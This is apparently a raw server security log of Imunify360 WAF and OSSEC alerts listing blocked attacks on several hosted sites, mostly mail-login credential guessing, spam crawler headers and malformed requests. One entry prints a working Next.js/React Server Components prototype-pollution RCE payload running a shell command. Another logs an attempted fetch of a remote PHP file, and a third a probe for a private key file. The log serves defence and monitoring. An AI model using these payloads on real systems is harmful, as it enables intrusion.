IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://re-store.by/bitrix/redirect.php?goto=https://fairytalescreation.com/node/83258\">crazytime</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.205.214
country_id: 1835841
description:
2026-07-20 16:55:27 dovecot_login authenticator failed for H=([111.26.62.37]) [59.11.205.214]:56710: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.237.155.113
country_id: 2661886
description:
2026-07-20 16:55:40 dovecot_login authenticator failed for H=81-237-155-113-no2400.tbcn.telia.com ([211.211.127.19]) [81.237.155.113]:49441: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.210.132.44
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ec1177057 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-20 17:02:23 dovecot_login authenticator failed for H=(mail.ieducationbd.com) [106.201.237.208]:36802: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.232.211
country_id: 1269750
description:
2026-07-20 17:02:33 dovecot_login authenticator failed for H=([210.56.28.18]) [106.201.232.211]:42923: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.175.111.85
country_id: 878675
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:85994.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b0fb2c9ec974dcba441ef770453aa7662164d3ff||Title:0x61d78e01||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-20 17:05:05 dovecot_login authenticator failed for H=([112.162.111.205]) [213.154.80.51]:47509: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 100.34.239.229
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/fd2690038 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-20 17:05:32 dovecot_login authenticator failed for H=(wgpon-39181-194.wateen.net) [50.212.27.150]:56932: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.89.206.236
country_id: 2186224
description:
2026-07-20 17:05:44 dovecot_login authenticator failed for H=219-89-206-236.adsl.xtra.co.nz ([24.120.10.18]) [219.89.206.236]:54768: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.34.149
country_id: 1835841
description:
2026-07-20 17:06:02 dovecot_login authenticator failed for H=(h83-209-249-46.cust.bredband2.com) [211.63.34.149]:41543: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 77093094
abuser: 64.227.160.35
country_id: 1269750
domain: 103.185.74.189
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 90.53.162.45
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0c3213245 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.63.55
country_id: 3017382
domain: www.ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ogocindia.com/sitemap_index.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.26.245
country_id: 2510769
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/news-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.39.105
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/sitemap_index.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.189.47
country_id: 3017382
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/sitemap.xml.gz HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.53.14
country_id: 2635167
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.165.242
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/wp-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.246.120
country_id: 2921044
domain: www.ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ogocindia.com/sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.190.24
country_id: 3017382
domain: www.ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ogocindia.com/robots.txt HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-20 17:15:58 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com ([192.34.164.13]) [168.91.173.57]:56098: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-20 17:17:47 dovecot_login authenticator failed for H=(partner.filtersite.shop) [211.116.107.222]:36667: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-20 17:17:22 dovecot_login authenticator failed for H=([24.207.66.154]) [123.212.9.122]:50445: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.66.94.140
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://longevity-and-lifestyle.com/podcast-98-sergey-young\">ergey young biography</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 64.53.182.172
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/48411505 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.199
country_id: 337996
description:
2026-07-20 17:22:59 dovecot_login authenticator failed for H=([163.61.33.117]) [196.190.220.199]:40780: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 43.228.157.36
country_id: 1168579
description:
2026-07-20 17:23:18 dovecot_login authenticator failed for H=(mail.ddgalaxy.in) [43.228.157.36]:33702: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-20 17:23:25 dovecot_login authenticator failed for H=(23-30-11-253-static.hfc.comcastbusiness.net) [85.105.255.56]:40628: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.5.205.174
country_id: 6252001
description:
2026-07-20 17:24:36 dovecot_login authenticator failed for H=ip-50-5-205-174.dynamic.fuse.net (14-200-249-128.tpgi.com.au) [50.5.205.174]:55180: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.56.23.236
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/55297863 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-20 17:26:10 dovecot_login authenticator failed for H=([112.162.111.205]) [211.116.107.222]:50544: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.58.130.68
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/982275570 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.108.23.151
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f31590424 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.214.10.178
country_id: 2245662
description:
2026-07-20 17:32:33 dovecot_login authenticator failed for H=(net-85-173-96-230.kbrnet.ru) [41.214.10.178]:48642: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.53
country_id: 3865483
description:
2026-07-20 17:32:58 dovecot_login authenticator failed for H=(49.206.201.253.actcorp.in) [167.250.118.53]:55738: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 97.247.227.39
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/041038576 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.46.109
country_id: 6252001
description:
2026-07-20 17:33:15 dovecot_login authenticator failed for H=wsip-72-215-46-109.pn.at.cox.net ([94.16.17.141]) [72.215.46.109]:40984: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-20 17:34:28 dovecot_login authenticator failed for H=([182.78.10.145]) [147.148.205.252]:42404: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.100.216.50
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/08256052 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 70.173.96.228
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4b2980609 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.144.24.198
country_id: 3017382
description:
2026-07-20 17:43:30 dovecot_login authenticator failed for H=(vmi3317490.contaboserver.net) [185.144.24.198]:53583: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.63.126
country_id: 1269750
description:
2026-07-20 17:43:43 dovecot_login authenticator failed for H=([222.190.110.210]) [182.95.63.126]:53190: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.206.98
country_id: 1269750
description:
2026-07-20 17:43:54 dovecot_login authenticator failed for H=([182.95.90.243]) [103.148.206.98]:36350: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-20 17:44:56 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([184.185.2.1]) [37.207.215.2]:20322: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.238.120
country_id: 2921044
description:
2026-07-20 17:45:21 dovecot_login authenticator failed for H=120-238-024-217.ip-addr.vsenet.de (118-208-240-52.tpgi.com.au) [217.24.238.120]:60642: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.200.191.248
country_id: 1269750
description:
[2026-07-20 17:45:45 +0530] info [whostmgrd] 35.200.191.248 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-20 17:46:03 dovecot_login authenticator failed for H=([184.178.172.20]) [197.219.210.94]:49750: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 8.41.18.151
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/583253667 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-20 17:50:47 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net ([109.238.140.87]) [111.70.33.194]:49250: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-20 17:50:27 dovecot_login authenticator failed for H=(syn-024-176-254-053.res.spectrum.com) [196.189.59.226]:57033: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 70.119.139.78
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/643651787 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-20 17:55:01 dovecot_plain authenticator failed for H=(dertest) [181.61.251.4]:38518: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.248.243.181
country_id: 2542007
description:
2026-07-20 17:55:06 dovecot_plain authenticator failed for H=(paturks) [41.248.243.181]:33528: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-20 17:54:27 dovecot_login authenticator failed for H=(152.red-88-4-9.dynamicip.rima-tde.net) [182.95.217.202]:55412: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-20 17:54:40 dovecot_login authenticator failed for H=(ipmapt-72-195-34-50.oc.oc.cox.net) [76.49.199.97]:55110: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 16.79.112.1
country_id: 1643084
domain: elegantautomotives.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:elegantautomotiv||SC:/home/elegantautomotiv/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.186.104.77
country_id: 6252001
description:
2026-07-20 17:57:42 dovecot_login authenticator failed for H=wsip-184-186-104-77.lv.lv.cox.net (hn.kd.ny.adsl) [184.186.104.77]:34135: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.248.75.84
country_id: 1861060
description:
2026-07-20 17:58:13 dovecot_login authenticator failed for H=st6996.mas4401.y-tokyo.nttpc.ne.jp ([222.116.28.56]) [160.248.75.84]:51140: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-20 17:58:19 dovecot_login authenticator failed for H=([83.167.19.121]) [172.191.74.151]:40706: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.197.107.31
country_id: 6252001
description:
2026-07-20 17:58:31 dovecot_login authenticator failed for H=ool-44c56b1f.dyn.optonline.net ([45.164.115.86]) [68.197.107.31]:47959: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.9.176
country_id: 6252001
description:
2026-07-20 17:59:35 dovecot_login authenticator failed for H=([82.82.143.196]) [70.120.9.176]:51649: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.46
country_id: 1733045
description:
2026-07-20 17:59:47 dovecot_login authenticator failed for H=([149.54.62.58]) [49.124.153.46]:41112: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-07-20 18:00:07 dovecot_login authenticator failed for H=([24.180.43.126]) [122.160.11.40]:53115: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.36.19.221
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/8b3636940 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.238.120
country_id: 2921044
description:
2026-07-20 18:00:50 dovecot_login authenticator failed for H=120-238-024-217.ip-addr.vsenet.de ([106.246.89.70]) [217.24.238.120]:58319: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-20 18:00:22 dovecot_login authenticator failed for H=([31.173.29.136]) [94.16.17.141]:33080: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.142.25.38
country_id: 163843
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/8c3386268 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-20 18:03:56 dovecot_login authenticator failed for H=(static.92.254.104.190.cps.com.ar) [59.12.212.38]:35298: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.232.53.85
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://lovealba.co.kr/\">\xeb\x85\xb8\xeb\x9e\x98\xeb\xb0\xa9 \xeb\xb3\xb4\xeb\x8f\x84\xec\x95\x8c\xeb\xb0\x94</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.183
country_id: 1668284
description:
2026-07-20 18:04:39 dovecot_login authenticator failed for H=111-70-49-183.emome-ip.hinet.net ([49.124.155.154]) [111.70.49.183]:53781: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.208.240.52
country_id: 2077456
description:
2026-07-20 18:04:54 dovecot_login authenticator failed for H=(static.90.254.104.190.cps.com.ar) [118.208.240.52]:51094: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 97.148.203.70
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/91515412 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.120.71.161
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/932122714 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.187.194
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:18-11.196.51.187.194||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-20 18:11:46 dovecot_login authenticator failed for H=([197.251.249.72]) [207.254.29.22]:62259: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-20 18:11:38 dovecot_login authenticator failed for H=([106.112.194.160]) [128.185.208.42]:39594: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.241.142.170
country_id: 3865483
description:
2026-07-20 18:12:34 dovecot_login authenticator failed for H=(74acb9edeadf.mldns.ru) [191.241.142.170]:35183: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 67.8.8.205
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/961455254 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.16.176.106
country_id: 1643084
description:
2026-07-20 18:12:49 dovecot_login authenticator failed for H=([72.206.74.97]) [182.16.176.106]:53943: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.161.38.231
country_id: 2300660
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:63190.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3c4ff0ed29cf5c49906dfa3e364862d2e111e18e||Title:0x36d75523||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.204.228.108
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ab3781636 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.234.138.49
country_id: 6252001
description:
2026-07-20 18:15:56 dovecot_login authenticator failed for H=(51-148-135-85.dsl.in-addr.zen.co.uk) [47.234.138.49]:46290: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-20 18:17:08 dovecot_login authenticator failed for H=([112.116.48.163]) [121.131.220.152]:51626: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.48.78.189
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b61059906 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.86.210.230
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://News.thenewsfire.com/story/626174/pvacodescom-expands-sms-verification-service-with-pricing-from-001.html\">temporary mobile number service</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.203.66.218
country_id: 2077456
description:
2026-07-20 18:25:29 dovecot_login authenticator failed for H=14-203-66-218.static.tpgi.com.au ([220.246.43.167]) [14.203.66.218]:54068: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-20 18:25:31 dovecot_login authenticator failed for H=([220.179.87.203]) [103.67.152.201]:58678: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-20 18:25:59 dovecot_login authenticator failed for H=(189-57-218-139.customer.tdatabrasil.net.br) [101.13.4.124]:57112: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.126.217.41
country_id: 1210997
description:
2026-07-20 18:25:20 dovecot_login authenticator failed for H=([117.241.77.78]) [103.126.217.41]:58273: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.251.194
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:104.28.251.194||TA:104.28.251.194||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.251.194
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/server.key||User:idealloanzcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.191.39
country_id: 2635167
description:
2026-07-20 18:31:58 dovecot_login authenticator failed for H=(77.145.34.171.adsl-pool.jx.chinaunicom.com) [149.34.191.39]:41042: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-20 18:32:08 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [193.46.192.20]:53729: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-20 18:33:14 dovecot_login authenticator failed for H=([2.55.100.104]) [129.45.84.119]:51794: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-20 18:33:12 dovecot_login authenticator failed for H=([223.210.27.53]) [103.130.91.83]:34294: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
